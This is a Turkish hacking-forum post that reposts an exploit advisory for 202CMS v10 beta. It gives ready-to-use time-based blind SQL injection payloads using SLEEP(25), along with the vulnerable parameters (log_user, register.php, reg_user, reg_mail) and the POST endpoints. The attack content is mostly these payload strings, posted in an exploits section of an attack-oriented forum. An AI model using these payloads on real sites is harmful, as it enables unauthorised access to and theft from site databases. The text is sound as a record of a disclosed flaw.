Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...


202CMS v10beta - Multiple SQL Injection

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 4 Hafta önce   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Mesajlar
Konular

Teşekkür (Etti): 16
Teşekkür (Aldı): 31


202CMS v10beta - Multiple SQL Injection



# Exploit Title/Exploit Başlığı: 202CMS - 'log_user' SQL Inj.
# Dork: N/A
# Date/Tarih: 20-03-2019
# Exploit Author/Exploit Yazarı: Mehmet EMIROGLU
# Vendor Homepage/Yapımcı Sayfası: https://sourceforge.net/projects/b202cms/
# Software Link/Yazılım Linki: https://sourceforge.net/projects/b202cms/
# Version/Versiyon: v10 beta
# Category/Kategori: Webapps
# Tested on/Test Edilen Platform: Wamp64, Windows
# CVE: N/A
# Software Description/Yazılım Açıklaması: 202CMS küçük ama çok işlevli bir içerik yönetim sistemidir.Twitter Boostrap bu içerik yönetim sistemine dayanmaktadır.
Bu CMS Kondrad tarafından yazılmış olup , MySQLi ve PHP ile güçlendirilmiştir.202CMS oldukça düzenlenebilir bir yapıya sahip aynı zamanda oldukça basit bir kurulumu mevcuttur.
Bu script henüz tamamlanmadı, ama çok yakında tamamlanacaktır.

================================================== =========================================
# POC - SQLi (blind)
# Parameters : log_user
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27 XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c %22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22 *%2f
# POST Method : http://localhost/202cms10beta/index.php

================================================== =========================================

################################################## #########################################
================================================== =========================================

# Exploit Title/Exploit Başlığı: 202CMS - 'register.php' SQL Inj.
# Dork: N/A
# Date/Tarih: 20-03-2019
# Exploit Author/Exploit Yazarı: Mehmet EMIROGLU
# Vendor Homepage/Yapımcı Sayfası: https://sourceforge.net/projects/b202cms/
# Software Link/Yazılım Linki: https://sourceforge.net/projects/b202cms/
# Version/Versiyon: v10 beta
# Category/Kategori: Webapps
# Tested on/Test Edilen Platform: Wamp64, Windows
# CVE: N/A
# Software Description/Yazılım Açıklaması: 202CMS küçük ama çok işlevli bir içerik yönetim sistemidir.Twitter Boostrap bu içerik yönetim sistemine dayanmaktadır.
Bu CMS Kondrad tarafından yazılmış olup , MySQLi ve PHP ile güçlendirilmiştir.202CMS oldukça düzenlenebilir bir yapıya sahip aynı zamanda oldukça basit bir kurulumu mevcuttur.
Bu script henüz tamamlanmadı, ama çok yakında tamamlanacaktır.


================================================== =========================================
# POC - SQLi (blind)
# Parameters : register.php, reg_user,reg_mail
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27 XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c %22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22 *%2f
# Attack Pattern : %27%2b((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2b%27
# POST Method : http://localhost/202cms10beta/register.php

================================================== =========================================

# Exploit Adresi : https://www.exploit-db.com/exploits/46579



___________________________________________

"Ulusal egemenlik öyle bir nurdur ki, onun karşısında zincirler erir, taç ve tahtlar yanar, mahvolur."
Mustafa Kemal ATATÜRK

telegram: deargod_tht
 Offline  
 
Alıntı ile Cevapla
Teşekkür

Rainshy, LLegenDD, p0inne Teşekkür etti.
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau